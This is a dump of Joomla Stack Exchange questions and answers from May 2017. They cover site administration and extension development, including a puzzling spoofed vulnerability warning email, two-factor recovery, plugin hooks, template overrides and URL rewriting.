  <row Id="20873" PostTypeId="1" CreationDate="2017-05-26T12:58:43.840" Score="3" ViewCount="70" Body="&lt;p&gt;I got a spoofed email saying this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi, this is just to inform you that your website is vulnerable to many&#xA;  bugs, and you are running an unpatched Joomla version. Please, fix&#xA;  this for your customers safety. We mean no harm, just to inform you of&#xA;  this. We did not hack email, we just spoofed it, we do not want be&#xA;  found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is technically true. I run Joomla 3.6.5. Although pretty low severity bugs reported on 3.6.5 right now. We are currently testing 3.7.2 but it'll take time to make the switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I be worried that this is something other than a white hat hacker. Why would they hide their identity?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How did they detect my Joomla version? I like to think I've got myself well covered here, obviously not. I use AdminTools to block administrator access (/administrator), I obfuscate the meta tag and I have other htaccess restrictions in place. I've went through all tools and resources (&lt;a href=&quot;https://joomla.stackexchange.com/questions/16154/how-to-check-joomla-version-on-external-website&quot;&gt;How to check Joomla version on external website?&lt;/a&gt;) and I can't seem to find a way that they found my Joomla version.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The spoofed email (which is well obfuscated) directly emailed me. I don't have my email on the site anywhere. Technically I'm part owner but my email doesn't show up for the ownership of the domain or anything else. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2017-05-28T01:49:09.070" LastActivityDate="2017-11-24T14:42:59.353" Title="Spoofed email detecting my Joomla version and vulnerabilities warning" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20876" PostTypeId="2" ParentId="4149" CreationDate="2017-05-26T19:50:17.157" Score="0" Body="&lt;p&gt;If you change this, it'll work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;JPluginHelper::importPlugin('user');&#xA;$options = array();&#xA;$options['action'] = 'core.login.site';&#xA;$response = array(); //Add this line&#xA;$response['language'] = &quot;&quot;; //Add this line&#xA;$response['username'] = &quot;user_name_here&quot;; //Change this line&#xA;$result = $app-&gt;triggerEvent('onUserLogin', array((array)$response, $options));&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="11126" LastEditorUserId="1520" LastEditDate="2017-05-27T08:51:13.877" LastActivityDate="2017-05-27T08:51:13.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20877" PostTypeId="1" CreationDate="2017-05-26T21:04:11.153" Score="2" ViewCount="1151" Body="&lt;p&gt;How can I reset Two Factor Authentication on my Joomla site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Details-&lt;/strong&gt; A few months ago I got a new phone as my old one died. Stupidly I had TFA using Google Authentication and therefore lost access to everything protected with TFA. All but 1 item I could recover: Joomla. I had to mess around using phpMyAdmin following random instructions to things I don't understand involving tables and settings things to 0 from 1 which I did. That didn't solve my issue and then I renamed random folders from within CPanel. That worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have LastPass and this backs up my TFA for me. I would like to enable Google TFA within Joomla. It seems that I can no longer do that, but I can lock myself out! If I click &quot;Enable Two Factor Authentication&quot; as per all the guides, nothing happens, the button is a dud. All I can enabled is a &quot;Yubi Key&quot; but I need Google version instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a simple one man band providing a free service for people that cannot afford it. I'm not computer literate at all. According to CPanel I had 300 visits to my /administrator page yesterday. None were me. I just want to secure my site so people can continue to find me. I don't want to be a source of hassle for others due to being hacked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me check what I need to enable and ensure folders are named so I can reset my TFA to stop myself from being hacked? I use Joomla 3.7.2 within CPanel.&lt;/p&gt;&#xA;" OwnerUserId="11127" LastEditorUserId="115" LastEditDate="2017-05-27T04:30:09.287" LastActivityDate="2021-06-17T12:53:11.477" Title="How can I reset Two Factor Authentication on my Joomla site?" Tags="|joomla-3.x|authentication|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20878" PostTypeId="2" ParentId="20877" CreationDate="2017-05-27T09:19:01.917" Score="3" Body="&lt;p&gt;You have cPanel/FTP access, then:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to /plugins&lt;/li&gt;&#xA;&lt;li&gt;Rename twofactorauth directory. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, try to access Joomla Administrator – you will no longer have a secret key field to enter. This is one of the easiest ways to recover Joomla Administrator when Google Authentication is uninstalled or lost the device.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2017-05-27T09:19:01.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20879" PostTypeId="1" AcceptedAnswerId="20880" CreationDate="2017-05-28T03:32:48.653" Score="0" ViewCount="236" Body="&lt;p&gt;I am developing a plugin to get rid of any rel=&quot;nofollow&quot; on HTML links using a buffer, but its not working. I am testing it with a nofollow link on a Custom HTML Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that &quot;JFactory::getApplication()-&gt;getBody();&quot; would output me the body content but was I wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The aim is to remove any nofollow on template, modules and component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here my code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentAfterDisplay()&#xA;{&#xA;$buffer = JFactory::getApplication()-&amp;gt;getBody();&#xA;$buffer = str_ireplace(' rel=”nofollow”', '', $buffer);&#xA;$buffer = str_ireplace(' rel=\'nofollow\'', '', $buffer);&#xA;JFactory::getApplication()-&amp;gt;setBody($buffer);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9915" LastActivityDate="2017-05-28T10:31:57.577" Title="How to remove rel=&quot;nofollow&quot; with Joomla Buffer?" Tags="|development|plugin|plugin-events|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20880" PostTypeId="2" ParentId="20879" CreationDate="2017-05-28T10:31:57.577" Score="1" Body="&lt;p&gt;&lt;code&gt;onContentAfterDisplay&lt;/code&gt; isn't called at a point when the full &lt;code&gt;getBody()&lt;/code&gt; content has been generated.  It is rather called at the points where components and modules are generating their individual views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, &lt;code&gt;JFactory::getApplication()-&amp;gt;getBody()&lt;/code&gt; content will not exist at the time you are calling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the following to see which content it is selecting - most likely it will just be your main component area, as not all components and modules will trigger it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterDisplay($context, &amp;amp;$row, &amp;amp;$params, $page = 0)     {&#xA;&#xA;   $row-&amp;gt;text=&quot;hello&quot;;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to call a plugin that grabs &lt;strong&gt;all&lt;/strong&gt; the page's html, then &lt;code&gt;onAfterRender&lt;/code&gt; is probably going to be the one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRender()&#xA;{&#xA;    // Do something onAfterRender&#xA;&#xA;    $buffer = JFactory::getApplication()-&amp;gt;getBody();&#xA;    JFactory::getApplication()-&amp;gt;setBody($buffer.&quot;hello world&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that here you'd need to view the source to see the hello world as it will be outside the html area)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-28T10:31:57.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20881" PostTypeId="2" ParentId="20873" CreationDate="2017-05-28T10:51:33.913" Score="1" Body="&lt;p&gt;Regarding point 2, the fact that they say &quot;unpatched&quot; rather than specifying a specific version could mean that they've just gone to a javascript or css file that has changed in a recent patch.  3.7 was a big change, so would presumably have a few of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was phishing (which from points 1 and 3, it doesn't sound like), I'd also suggest that sending these to all Joomla sites in their database would work - patched sites would just ignore it, unpatched ones may ask the questions you are asking as to how do they know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is your email in the users database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be worth asking on security stack exchange, as their intent - and how they got your email - does sound curious.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-28T10:51:33.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20885" PostTypeId="1" AcceptedAnswerId="20886" CreationDate="2017-05-29T10:08:29.987" Score="1" ViewCount="445" Body="&lt;p&gt;I'm going to explain: I'm new to Joomla! and I have 3 modules in which I have to rewrite the URLs for SEO purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to rewrite URLs has been provided &lt;a href=&quot;https://webmasters.stackexchange.com/a/106564/45880&quot;&gt;this solution&lt;/a&gt; on SE WebMasters. It implies me to add a &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tag in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of the page so I would like to know if there is a Joomla-core method with which I can add such tag in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7829" LastActivityDate="2017-05-29T13:21:38.453" Title="Modify the &lt;head&gt; tag of a page from a module using Joomla core functions" Tags="|joomla-3.x|metadata|header-tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20886" PostTypeId="2" ParentId="20885" CreationDate="2017-05-29T11:49:36.733" Score="2" Body="&lt;p&gt;In general, below is the code. &lt;br/&gt;&lt;code&gt;$doc = JFactory::getDocument(); &lt;br/&gt;$doc-&gt;addHeadLink(htmlspecialchars(JURI::current()), 'canonical');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for the Joomla documentation and only found one from Joomla 1.7.  Not sure if the documentation just hasn't been updated or there have been some changes. &#xA;&lt;a href=&quot;https://docs.joomla.org/API17:Subpackage_Document&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/API17:Subpackage_Document&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="464" LastEditDate="2017-05-29T13:21:38.453" LastActivityDate="2017-05-29T13:21:38.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20888" PostTypeId="1" AcceptedAnswerId="20889" CreationDate="2017-05-29T15:28:24.690" Score="0" ViewCount="318" Body="&lt;p&gt;When upgrading from 3.6.5 to 3.7, the button's bar (Save, Cancel and Version buttons) is moved from top to bottom of the edit screen.&lt;br&gt;&#xA;I did a fresh install of Joomla 3.7.2 and the problem appears again: when I edit an article, the button bar is &lt;em&gt;below&lt;/em&gt; the content of the articles.&lt;br&gt;&#xA;This is really annoying. Classically, they are at the top of the edit page. I think that's the best position.&lt;br&gt;&#xA;Is this normal ? Does anyone know how to put them back to the top ?&lt;br&gt;&#xA;NB: the template is the default protostar.&lt;br&gt;&#xA;Best regards&lt;/p&gt;&#xA;" OwnerUserId="5691" LastActivityDate="2017-06-08T20:22:05.420" Title="After upgrade to 3.7 Save &amp; Cancel buttons moved at bottom of edit page" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20889" PostTypeId="2" ParentId="20888" CreationDate="2017-05-29T16:50:30.040" Score="1" Body="&lt;p&gt;It is normal - they have moved to the bottom in that release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buttons are part of com_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can move them to the top by copying &lt;code&gt;components\com_content\views\form\tmpl\edit.php&lt;/code&gt; to &lt;code&gt;templates\protostar\html\com_content\form\edit.php&lt;/code&gt; and updating the code so that the following code appears just below the opening &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tag, rather than at the bottom of the page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;btn-toolbar&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; onclick=&quot;Joomla.submitbutton('article.save')&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-ok&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;?php echo JText::_('JSAVE') ?&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;btn&quot; onclick=&quot;Joomla.submitbutton('article.cancel')&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-cancel&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;?php echo JText::_('JCANCEL') ?&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php if ($params-&amp;gt;get('save_history', 0) &amp;amp;&amp;amp; $this-&amp;gt;item-&amp;gt;id) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('contenthistory'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also do this via the template manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Extensions &gt; Templates &gt; Templates, select Protostar, select create overrides, com_content and then form.  You can then browse to the file on the left under html/com_content/form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd personally say to only do this if it is important to you.  Whilst overrides are an acceptable way to change core code, it can mean that patches are not properly applied if you don't take the time to update your overrides should that view have changed.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-29T16:50:30.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20890" PostTypeId="2" ParentId="20649" CreationDate="2017-05-29T17:41:50.677" Score="1" Body="&lt;p&gt;The URL is wrong - it's not /administrat&lt;strong&gt;ion&lt;/strong&gt; but url.com/administrator&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2017-05-29T17:41:50.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20891" PostTypeId="1" AcceptedAnswerId="20892" CreationDate="2017-05-29T18:26:09.480" Score="1" ViewCount="117" Body="&lt;p&gt;In Joomla 3.7.2, I have made an override of com_content/categories/default_items.php to show a default image if the category does not have an image like so:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php if ($item-&amp;gt;getParams()-&amp;gt;get('image')) : ?&amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php echo $item-&amp;gt;getParams()-&amp;gt;get('image'); ?&amp;gt;&quot;/&amp;gt;&#xA;        &amp;lt;?php elseif (($item-&amp;gt;getParams()-&amp;gt;get('image')) == null) : ?&amp;gt;&#xA;                &amp;lt;?php echo &quot;&amp;lt;img src=/defaultimage.png&amp;gt;&quot;; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works and displays the default image for all categories (parents and child) which do not have an image set but I would like to modify this to only show the default image on subcategories, therefore the default image would not be displayed for top-level (i.e. root) categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this within this scope? I have tried the following:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php if (($item-&amp;gt;getParams()-&amp;gt;get('image')) == null &amp;amp;&amp;amp; ($item-&amp;gt;parent_slug != '1:root')): ?&amp;gt; &#xA;                &amp;lt;?php echo &quot;&amp;lt;img src=/defaultimage.png&amp;gt;&quot;; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this returns the following error:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Undefined property: JCategoryNode::$parent_slug in /templates/t3_bs3_blank/local/html/com_content/categories/default_items.php on line 41&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source of default_items.php is &lt;a href=&quot;https://github.com/t3framework/t3/blob/master/source/plg_system_t3/base-bs3/html/com_content/categories/default_items.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Thanks in advance for your assistance.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2017-05-29T19:00:11.250" Title="Default image for subcategories" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20892" PostTypeId="2" ParentId="20891" CreationDate="2017-05-29T19:00:11.250" Score="2" Body="&lt;p&gt;&lt;code&gt;$item-&amp;gt;parent_slug&lt;/code&gt; doesn't exist.  Do a &lt;code&gt;print_r($item);&lt;/code&gt; to see what the &lt;code&gt;$item&lt;/code&gt; object contains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either &lt;code&gt;$item-&amp;gt;parent_id;&lt;/code&gt; or &lt;code&gt;$item-&amp;gt;level;&lt;/code&gt; should grab you the information you need.   The former will return &quot;root&quot; and the latter &quot;1&quot; if it is a root level category.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-29T19:00:11.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20893" PostTypeId="1" AcceptedAnswerId="20896" CreationDate="2017-05-30T03:46:01.230" Score="0" ViewCount="496" Body="&lt;p&gt;I have a problem rendering breadcrumbs in a custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I need to &lt;strong&gt;render breadcrumbs&lt;/strong&gt; in &lt;strong&gt;my component&lt;/strong&gt; like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;home/menu_item_level_1/my_component_view_name&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't know how to render breadcrumbs core component in my component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or how to load breadcrumbs for menu &quot;menu_item_level_1&quot; (let's say it has id=1). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the breadcrumbs module needs a menu item. But I can only create a menu item for a specific page like this /component/com_mycomponent/?id=1. I can't create a menu for a dynamic url like: /component/com_mycomponent/?id=$id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="11137" LastEditorUserId="115" LastEditDate="2017-05-30T05:23:22.750" LastActivityDate="2017-05-30T09:01:36.783" Title="How to render breadcrumbs in component view and load breadcrumbs for menu?" Tags="|joomla-3.x|breadcrumbs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20894" PostTypeId="1" CreationDate="2017-05-30T08:45:14.073" Score="1" ViewCount="55" Body="&lt;p&gt;To whom it may concern:&#xA;I have joomla 2.5 and I am going to upgrade to 3.7.2 with its proper upgrade package.&#xA;There are subdomains in the root of main website which I want to upgrade, I believe if upgrade fails, there will be no effect on subdomains and their folders in the root of main website. Am I right or wrong?&#xA;P.S Subdomains are upgraded and backed up already too.&#xA;Kian William&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2017-06-29T20:24:53.940" Title="Joomla 2.5 upgrade to 3.7.2 and subdomains" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20896" PostTypeId="2" ParentId="20893" CreationDate="2017-05-30T09:01:36.783" Score="2" Body="&lt;p&gt;Ok, Iguess I found decision BY MYSELF! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Add &lt;strong&gt;.xml&lt;/strong&gt; file to view, that will match your &lt;strong&gt;.php&lt;/strong&gt; file in view's layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: you have &lt;strong&gt;com_competition\site\views\competition\tmpl\default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add default.xml in the same directory with code. The main thing to remember is that it's name should match with the name of your .php layout file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_COMPETITION_COMPETITION_VIEW_DEFAULT_TITLE&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;COM_COMPETITION_COMPETITION_VIEW_DEFAULT_DESC&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;    &amp;lt;fields&#xA;            name=&quot;request&quot;&#xA;            addfieldpath=&quot;/administrator/components/com_competition/models/fields&quot;&#xA;            &amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Go to admin panel and add new menu item and choose your type link &quot;COM_COMPETITION_COMPETITION_VIEW_DEFAULT_TITLE&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) You can send $id this way in browser &lt;strong&gt;home/your_menu_1/your_new_component_menu/?id=2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, follow this steps you will create SEF links and add breadcrumbs to your component. Cheers! Profit&lt;/p&gt;&#xA;" OwnerUserId="11137" LastActivityDate="2017-05-30T09:01:36.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20897" PostTypeId="1" CreationDate="2017-05-30T10:39:33.333" Score="0" ViewCount="25" Body="&lt;p&gt;I'm new to joomla and this isn't my field. I'm developing a module which should be shown on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL which prints the content is &lt;code&gt;info-compagnie-aeree.html?iata=af&lt;/code&gt; and I want it to be &lt;code&gt;compagnie-aeree/af/foo-bar&lt;/code&gt; so I wrote the above rule in &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^compagnie-aeree/?([A-Z0-9]+).* /orariovoli/index.php?option=com_content&amp;amp;id=498&amp;amp;view=article&amp;amp;iata=$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;id=498&lt;/code&gt; is the ID of the article in which my module is situated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this manner it points to the right page (content of my module is shown) but the rest of page content is not shown...I suppose it is because I point to the article which contains in which my module is situated with &lt;code&gt;{loadposition myModulePosition}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short words I want to show the content of the page at &lt;a href=&quot;http://webpartner.it/orariovoli/info-compagnie-aeree.html?iata=D9&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://webpartner.it/orariovoli/info-compagnie-aeree.html?iata=D9&lt;/a&gt; but with this kind of URL &lt;code&gt;http://webpartner.it/orariovoli/compagnie-aeree/D9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, the URL I would like to have points &lt;a href=&quot;http://webpartner.it/orariovoli/compagnie-aeree/D9&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I think the understandable question is &quot;where can I find the non-rewritten URL of a page?&quot;&lt;/p&gt;&#xA;" OwnerUserId="7829" LastActivityDate="2017-05-30T12:02:08.750" Title="Custom redirect points to correct page but prints 404 in &lt;title&gt;" Tags="|module|articles|url|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20898" PostTypeId="1" AcceptedAnswerId="20916" CreationDate="2017-05-30T11:17:48.297" Score="0" ViewCount="367" Body="&lt;p&gt;I want to add  number of confirmed forms from users. Every time they use the form it will show their order number - different for every logged in user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've adden hidden field &quot;counter&quot; and in Script called on form process i added code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db   = JFactory::getDbo(); &#xA;$query   = $db-&amp;gt;getQuery(true); &#xA;$user = JFactory::getUser();&#xA;$db-&amp;gt;setQuery(&quot;SELECT SUM(`confirmed`) AS suma FROM `#__rsform_submissions` WHERE `UserId`='id';&quot;);&#xA;$_POST['form']['counter'] = $db-&amp;gt;loadResult()+1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It shows 1 all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to show sum + 1 of confirmed submisions from logged in user. How can I change the code to make it tow work?&lt;/p&gt;&#xA;" OwnerUserId="11138" LastEditorUserId="-1" LastEditDate="2017-06-01T14:58:17.093" LastActivityDate="2019-02-28T10:34:16.127" Title="Joomla + RSform get from database" Tags="|joomla-3.x|rsform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20899" PostTypeId="2" ParentId="20897" CreationDate="2017-05-30T12:02:08.750" Score="1" Body="&lt;p&gt;Might be worth expanding your question to cover a bit about what your module is actually doing, as I suspect this may come down to a misunderstanding of the difference between modules and components.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using htaccess to structure URLs is taking things outside the Joomla framework.  Component routers should be doing this job.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using URL parameters in a module suggests to me that the design of your module is fundamentally wrong and you should be using categories or the menu manager to structure your content instead.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules don't have routers, so I can't imagine a sitution where what you are doing is good practice. Modules should really just be elements that are assigned per menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your URL design needs to be fundamentally different to how com_content's router works,  that suggests to me that a bespoke component would be in order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Not an answer, I'm afraid - but this was a bit long to post as a comment.)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-30T12:02:08.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20900" PostTypeId="1" CreationDate="2017-05-30T18:37:18.150" Score="0" ViewCount="555" Body="&lt;p&gt;We're getting this error in our test environment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected 'var' (T_VAR) in /home/usaspo5/public_html/dev/usgnew/components/com_usg_programs/tmpls/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We have the same code on the live site and it does not produce these results.&lt;/p&gt;&#xA;" OwnerUserId="11029" LastEditorUserId="12352" LastEditDate="2018-06-29T10:47:34.970" LastActivityDate="2024-03-29T21:01:40.170" Title="Parsing Error Javascript in php include page on the test server" Tags="|php|javascript|" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20901" PostTypeId="2" ParentId="18660" CreationDate="2017-05-30T18:42:02.120" Score="0" Body="&lt;p&gt;Try the &lt;em&gt;Fix&lt;/em&gt; button in the upper left corner. Often worked for me.&lt;/p&gt;&#xA;" OwnerUserId="5691" LastActivityDate="2017-05-30T18:42:02.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20902" PostTypeId="2" ParentId="20894" CreationDate="2017-05-30T19:58:37.460" Score="2" Body="&lt;p&gt;Normally this should not be a problem. Usually subdomains are located in their own folder and updating the main domain's Joomla installation should not affect the subdomains.&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2017-05-30T19:58:37.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20903" PostTypeId="1" CreationDate="2017-05-31T03:19:38.290" Score="1" ViewCount="144" Body="&lt;p&gt;I was deleting some menu items when I accidentally set another menu as my homepage, and now I can't uncheck.&#xA;It looks like two menu items are set as homepage, and therefore I can't access my homepage. How is this even supposed to happen? I thought that when you click on a star the other is automatically unchecked.&#xA;I've already tried to uncheck one of them, but it says that at least one menu item must be set as default.I don't have the faintest idea of what to do.&#xA;I'll post a screenshot below.&#xA;I'm sorry if I'm missing something here, I'm quite new to Joomla.&#xA;The link to the website is &lt;a href=&quot;http://www.associacaoproesporte.org.br/index.php/pt-br/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.associacaoproesporte.org.br/index.php/pt-br/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Np8tD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Np8tD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" 